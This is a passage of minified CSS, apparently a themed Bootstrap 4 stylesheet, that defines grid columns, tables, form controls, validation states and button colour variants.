0 16.6666666667%;max-width:16.6666666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-xl-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-xl-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-xl-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-xl-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-xl-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-xl-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-xl-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-xl-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-xl-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-xl-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-xl-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-xl-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-xl-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-xl-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-xl-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-xl-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-xl-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-xl-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-xl-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-xl-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-xl-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.3333333333%}.offset-xl-2{margin-left:16.6666666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.3333333333%}.offset-xl-5{margin-left:41.6666666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.3333333333%}.offset-xl-8{margin-left:66.6666666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.3333333333%}.offset-xl-11{margin-left:91.6666666667%}}.table{width:100%;max-width:100%;margin-bottom:1rem;background-color:transparent}.table th,.table td{padding:0.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table .table{background-color:#fff}.table-sm th,.table-sm td{padding:0.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered th,.table-bordered td{border:1px solid #dee2e6}.table-bordered thead th,.table-bordered thead td{border-bottom-width:2px}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,0.05)}.table-hover tbody tr:hover{background-color:rgba(0,0,0,0.075)}.table-primary,.table-primary>th,.table-primary>td{background-color:#f9d5d4}.table-hover .table-primary:hover{background-color:#f6bfbe}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#f6bfbe}.table-secondary,.table-secondary>th,.table-secondary>td{background-color:#e7e7e7}.table-hover .table-secondary:hover{background-color:#dadada}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#dadada}.table-success,.table-success>th,.table-success>td{background-color:#c1e9cd}.table-hover .table-success:hover{background-color:#aee2be}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#aee2be}.table-info,.table-info>th,.table-info>td{background-color:#c6d4e2}.table-hover .table-info:hover{background-color:#b5c7d9}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#b5c7d9}.table-warning,.table-warning>th,.table-warning>td{background-color:#fcf8c2}.table-hover .table-warning:hover{background-color:#fbf5aa}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#fbf5aa}.table-danger,.table-danger>th,.table-danger>td{background-color:#fcdab8}.table-hover .table-danger:hover{background-color:#fbcda0}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#fbcda0}.table-light,.table-light>th,.table-light>td{background-color:#fdfdfe}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>th,.table-dark>td{background-color:#c1c1c1}.table-hover .table-dark:hover{background-color:#b4b4b4}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b4b4b4}.table-active,.table-active>th,.table-active>td{background-color:rgba(0,0,0,0.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,0.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,0.075)}.table .thead-dark th{color:#fff;background-color:#222;border-color:#353535}.table .thead-light th{color:#495057;background-color:#eee;border-color:#dee2e6}.table-dark{color:#fff;background-color:#222}.table-dark th,.table-dark td,.table-dark thead th{border-color:#353535}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,0.05)}.table-dark.table-hover tbody tr:hover{background-color:rgba(255,255,255,0.075)}@media (max-width: 575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-sm>.table-bordered{border:0}}@media (max-width: 767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-md>.table-bordered{border:0}}@media (max-width: 991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-lg>.table-bordered{border:0}}@media (max-width: 1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;padding:0.375rem 1rem;font-size:1rem;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:0.25rem;-webkit-transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#fad6d5;outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25)}.form-control::-webkit-input-placeholder{color:#777;opacity:1}.form-control:-ms-input-placeholder{color:#777;opacity:1}.form-control::-ms-input-placeholder{color:#777;opacity:1}.form-control::placeholder{color:#777;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#eee;opacity:1}select.form-control:not([size]):not([multiple]){height:calc(2.25rem + 2px)}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(0.375rem + 1px);padding-bottom:calc(0.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(0.5rem + 1px);padding-bottom:calc(0.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(0.25rem + 1px);padding-bottom:calc(0.25rem + 1px);font-size:0.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding-top:0.375rem;padding-bottom:0.375rem;margin-bottom:0;line-height:1.5;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-sm,.input-group-sm>.form-control-plaintext.form-control,.input-group-sm>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-append>.form-control-plaintext.input-group-text,.input-group-sm>.input-group-prepend>.form-control-plaintext.btn,.input-group-sm>.input-group-append>.form-control-plaintext.btn,.form-control-plaintext.form-control-lg,.input-group-lg>.form-control-plaintext.form-control,.input-group-lg>.input-group-prepend>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-append>.form-control-plaintext.input-group-text,.input-group-lg>.input-group-prepend>.form-control-plaintext.btn,.input-group-lg>.input-group-append>.form-control-plaintext.btn{padding-right:0;padding-left:0}.form-control-sm,.input-group-sm>.form-control,.input-group-sm>.input-group-prepend>.input-group-text,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-append>.btn{padding:0.25rem 0.5rem;font-size:0.875rem;line-height:1.5;border-radius:0.2rem}select.form-control-sm:not([size]):not([multiple]),.input-group-sm>select.form-control:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-sm>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-sm>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(1.8125rem + 2px)}.form-control-lg,.input-group-lg>.form-control,.input-group-lg>.input-group-prepend>.input-group-text,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-append>.btn{padding:0.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:0.3rem}select.form-control-lg:not([size]):not([multiple]),.input-group-lg>select.form-control:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.input-group-text:not([size]):not([multiple]),.input-group-lg>.input-group-prepend>select.btn:not([size]):not([multiple]),.input-group-lg>.input-group-append>select.btn:not([size]):not([multiple]){height:calc(2.875rem + 2px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:0.25rem}.form-row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*="col-"]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:0.3rem;margin-left:-1.25rem}.form-check-input:disabled ~ .form-check-label{color:#777}.form-check-label{margin-bottom:0}.form-check-inline{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:0.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:0.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#22B24C}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(34,178,76,0.8);border-radius:.2rem}.was-validated .form-control:valid,.form-control.is-valid,.was-validated .custom-select:valid,.custom-select.is-valid{border-color:#22B24C}.was-validated .form-control:valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.custom-select.is-valid:focus{border-color:#22B24C;-webkit-box-shadow:0 0 0 0.2rem rgba(34,178,76,0.25);box-shadow:0 0 0 0.2rem rgba(34,178,76,0.25)}.was-validated .form-control:valid ~ .valid-feedback,.was-validated .form-control:valid ~ .valid-tooltip,.form-control.is-valid ~ .valid-feedback,.form-control.is-valid ~ .valid-tooltip,.was-validated .custom-select:valid ~ .valid-feedback,.was-validated .custom-select:valid ~ .valid-tooltip,.custom-select.is-valid ~ .valid-feedback,.custom-select.is-valid ~ .valid-tooltip{display:block}.was-validated .form-check-input:valid ~ .form-check-label,.form-check-input.is-valid ~ .form-check-label{color:#22B24C}.was-validated .form-check-input:valid ~ .valid-feedback,.was-validated .form-check-input:valid ~ .valid-tooltip,.form-check-input.is-valid ~ .valid-feedback,.form-check-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid ~ .custom-control-label,.custom-control-input.is-valid ~ .custom-control-label{color:#22B24C}.was-validated .custom-control-input:valid ~ .custom-control-label::before,.custom-control-input.is-valid ~ .custom-control-label::before{background-color:#70e492}.was-validated .custom-control-input:valid ~ .valid-feedback,.was-validated .custom-control-input:valid ~ .valid-tooltip,.custom-control-input.is-valid ~ .valid-feedback,.custom-control-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-control-input:valid:checked ~ .custom-control-label::before,.custom-control-input.is-valid:checked ~ .custom-control-label::before{background-color:#30d761}.was-validated .custom-control-input:valid:focus ~ .custom-control-label::before,.custom-control-input.is-valid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(34,178,76,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(34,178,76,0.25)}.was-validated .custom-file-input:valid ~ .custom-file-label,.custom-file-input.is-valid ~ .custom-file-label{border-color:#22B24C}.was-validated .custom-file-input:valid ~ .custom-file-label::before,.custom-file-input.is-valid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:valid ~ .valid-feedback,.was-validated .custom-file-input:valid ~ .valid-tooltip,.custom-file-input.is-valid ~ .valid-feedback,.custom-file-input.is-valid ~ .valid-tooltip{display:block}.was-validated .custom-file-input:valid:focus ~ .custom-file-label,.custom-file-input.is-valid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(34,178,76,0.25);box-shadow:0 0 0 0.2rem rgba(34,178,76,0.25)}.invalid-feedback{display:none;width:100%;margin-top:0.25rem;font-size:80%;color:#F57A00}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(245,122,0,0.8);border-radius:.2rem}.was-validated .form-control:invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.custom-select.is-invalid{border-color:#F57A00}.was-validated .form-control:invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.custom-select.is-invalid:focus{border-color:#F57A00;-webkit-box-shadow:0 0 0 0.2rem rgba(245,122,0,0.25);box-shadow:0 0 0 0.2rem rgba(245,122,0,0.25)}.was-validated .form-control:invalid ~ .invalid-feedback,.was-validated .form-control:invalid ~ .invalid-tooltip,.form-control.is-invalid ~ .invalid-feedback,.form-control.is-invalid ~ .invalid-tooltip,.was-validated .custom-select:invalid ~ .invalid-feedback,.was-validated .custom-select:invalid ~ .invalid-tooltip,.custom-select.is-invalid ~ .invalid-feedback,.custom-select.is-invalid ~ .invalid-tooltip{display:block}.was-validated .form-check-input:invalid ~ .form-check-label,.form-check-input.is-invalid ~ .form-check-label{color:#F57A00}.was-validated .form-check-input:invalid ~ .invalid-feedback,.was-validated .form-check-input:invalid ~ .invalid-tooltip,.form-check-input.is-invalid ~ .invalid-feedback,.form-check-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid ~ .custom-control-label,.custom-control-input.is-invalid ~ .custom-control-label{color:#F57A00}.was-validated .custom-control-input:invalid ~ .custom-control-label::before,.custom-control-input.is-invalid ~ .custom-control-label::before{background-color:#ffba76}.was-validated .custom-control-input:invalid ~ .invalid-feedback,.was-validated .custom-control-input:invalid ~ .invalid-tooltip,.custom-control-input.is-invalid ~ .invalid-feedback,.custom-control-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-control-input:invalid:checked ~ .custom-control-label::before,.custom-control-input.is-invalid:checked ~ .custom-control-label::before{background-color:#ff9429}.was-validated .custom-control-input:invalid:focus ~ .custom-control-label::before,.custom-control-input.is-invalid:focus ~ .custom-control-label::before{-webkit-box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(245,122,0,0.25);box-shadow:0 0 0 1px #fff,0 0 0 0.2rem rgba(245,122,0,0.25)}.was-validated .custom-file-input:invalid ~ .custom-file-label,.custom-file-input.is-invalid ~ .custom-file-label{border-color:#F57A00}.was-validated .custom-file-input:invalid ~ .custom-file-label::before,.custom-file-input.is-invalid ~ .custom-file-label::before{border-color:inherit}.was-validated .custom-file-input:invalid ~ .invalid-feedback,.was-validated .custom-file-input:invalid ~ .invalid-tooltip,.custom-file-input.is-invalid ~ .invalid-feedback,.custom-file-input.is-invalid ~ .invalid-tooltip{display:block}.was-validated .custom-file-input:invalid:focus ~ .custom-file-label,.custom-file-input.is-invalid:focus ~ .custom-file-label{-webkit-box-shadow:0 0 0 0.2rem rgba(245,122,0,0.25);box-shadow:0 0 0 0.2rem rgba(245,122,0,0.25)}.form-inline{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width: 576px){.form-inline label{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .input-group{width:auto}.form-inline .form-check{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:0.25rem;margin-left:0}.form-inline .custom-control{-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:0.375rem 1rem;font-size:1rem;line-height:1.5;border-radius:0.25rem;-webkit-transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out;transition:color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out, -webkit-box-shadow 0.15s ease-in-out}.btn:hover,.btn:focus{text-decoration:none}.btn:focus,.btn.focus{outline:0;-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.25)}.btn.disabled,.btn:disabled{opacity:0.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled):active,.btn:not(:disabled):not(.disabled).active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#EB6864;border-color:#EB6864}.btn-primary:hover{color:#fff;background-color:#e74742;border-color:#e53c37}.btn-primary:focus,.btn-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#EB6864;border-color:#EB6864}.btn-primary:not(:disabled):not(.disabled):active,.btn-primary:not(:disabled):not(.disabled).active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#e53c37;border-color:#e4312c}.btn-primary:not(:disabled):not(.disabled):active:focus,.btn-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5)}.btn-secondary{color:#222;background-color:#aaa;border-color:#aaa}.btn-secondary:hover{color:#222;background-color:#979797;border-color:#919090}.btn-secondary:focus,.btn-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5);box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#222;background-color:#aaa;border-color:#aaa}.btn-secondary:not(:disabled):not(.disabled):active,.btn-secondary:not(:disabled):not(.disabled).active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#919090;border-color:#8a8a8a}.btn-secondary:not(:disabled):not(.disabled):active:focus,.btn-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5);box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5)}.btn-success{color:#fff;background-color:#22B24C;border-color:#22B24C}.btn-success:hover{color:#fff;background-color:#1c923e;border-color:#1a873a}.btn-success:focus,.btn-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,178,76,0.5);box-shadow:0 0 0 0.2rem rgba(34,178,76,0.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#22B24C;border-color:#22B24C}.btn-success:not(:disabled):not(.disabled):active,.btn-success:not(:disabled):not(.disabled).active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1a873a;border-color:#187c35}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,178,76,0.5);box-shadow:0 0 0 0.2rem rgba(34,178,76,0.5)}.btn-info{color:#fff;background-color:#369;border-color:#369}.btn-info:hover{color:#fff;background-color:#29537c;border-color:#264d73}.btn-info:focus,.btn-info.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5);box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#369;border-color:#369}.btn-info:not(:disabled):not(.disabled):active,.btn-info:not(:disabled):not(.disabled).active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#264d73;border-color:#234669}.btn-info:not(:disabled):not(.disabled):active:focus,.btn-info:not(:disabled):not(.disabled).active:focus,.show>.btn-info.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5);box-shadow:0 0 0 0.2rem rgba(51,102,153,0.5)}.btn-warning{color:#222;background-color:#F5E625;border-color:#F5E625}.btn-warning:hover{color:#222;background-color:#e9d90b;border-color:#ddce0a}.btn-warning:focus,.btn-warning.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5);box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5)}.btn-warning.disabled,.btn-warning:disabled{color:#222;background-color:#F5E625;border-color:#F5E625}.btn-warning:not(:disabled):not(.disabled):active,.btn-warning:not(:disabled):not(.disabled).active,.show>.btn-warning.dropdown-toggle{color:#222;background-color:#ddce0a;border-color:#d1c20a}.btn-warning:not(:disabled):not(.disabled):active:focus,.btn-warning:not(:disabled):not(.disabled).active:focus,.show>.btn-warning.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5);box-shadow:0 0 0 0.2rem rgba(245,230,37,0.5)}.btn-danger{color:#fff;background-color:#F57A00;border-color:#F57A00}.btn-danger:hover{color:#fff;background-color:#cf6700;border-color:#c26100}.btn-danger:focus,.btn-danger.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5);box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#F57A00;border-color:#F57A00}.btn-danger:not(:disabled):not(.disabled):active,.btn-danger:not(:disabled):not(.disabled).active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#c26100;border-color:#b55a00}.btn-danger:not(:disabled):not(.disabled):active:focus,.btn-danger:not(:disabled):not(.disabled).active:focus,.show>.btn-danger.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5);box-shadow:0 0 0 0.2rem rgba(245,122,0,0.5)}.btn-light{color:#222;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#222;background-color:#e2e6ea;border-color:#dae0e5}.btn-light:focus,.btn-light.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-light.disabled,.btn-light:disabled{color:#222;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled):active,.btn-light:not(:disabled):not(.disabled).active,.show>.btn-light.dropdown-toggle{color:#222;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled):active:focus,.btn-light:not(:disabled):not(.disabled).active:focus,.show>.btn-light.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5);box-shadow:0 0 0 0.2rem rgba(248,249,250,0.5)}.btn-dark{color:#fff;background-color:#222;border-color:#222}.btn-dark:hover{color:#fff;background-color:#0f0f0f;border-color:#090808}.btn-dark:focus,.btn-dark.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#222;border-color:#222}.btn-dark:not(:disabled):not(.disabled):active,.btn-dark:not(:disabled):not(.disabled).active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#090808;border-color:#020202}.btn-dark:not(:disabled):not(.disabled):active:focus,.btn-dark:not(:disabled):not(.disabled).active:focus,.show>.btn-dark.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5);box-shadow:0 0 0 0.2rem rgba(34,34,34,0.5)}.btn-outline-primary{color:#EB6864;background-color:transparent;background-image:none;border-color:#EB6864}.btn-outline-primary:hover{color:#fff;background-color:#EB6864;border-color:#EB6864}.btn-outline-primary:focus,.btn-outline-primary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#EB6864;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled):active,.btn-outline-primary:not(:disabled):not(.disabled).active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#EB6864;border-color:#EB6864}.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5);box-shadow:0 0 0 0.2rem rgba(235,104,100,0.5)}.btn-outline-secondary{color:#aaa;background-color:transparent;background-image:none;border-color:#aaa}.btn-outline-secondary:hover{color:#222;background-color:#aaa;border-color:#aaa}.btn-outline-secondary:focus,.btn-outline-secondary.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5);box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#aaa;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled):active,.btn-outline-secondary:not(:disabled):not(.disabled).active,.show>.btn-outline-secondary.dropdown-toggle{color:#222;background-color:#aaa;border-color:#aaa}.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5);box-shadow:0 0 0 0.2rem rgba(170,170,170,0.5)}.btn-outline-success{color:#22B24C;background-color:transparent;background-image:none;border-color:#22B24C}.btn-outline-success:hover{color:#fff;background-color:#22B24C;border-color:#22B24C}.btn-outline-success:focus,.btn-outline-success.focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,178,76,0.5);box-shadow:0 0 0 0.2rem rgba(34,178,76,0.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#22B24C;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled):active,.btn-outline-success:not(:disabled):not(.disabled).active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#22B24C;border-color:#22B24C}.btn-outline-success:not(:disabled):not(.disabled):active:focus,.btn-outline-success:not(:disabled):not(.disabled).active:focus,.show>.btn-outline-success.dropdown-toggle:focus{-webkit-box-shadow:0 0 0 0.2rem rgba(34,178,76,0.5);box-shadow:0 0 0 0.2rem 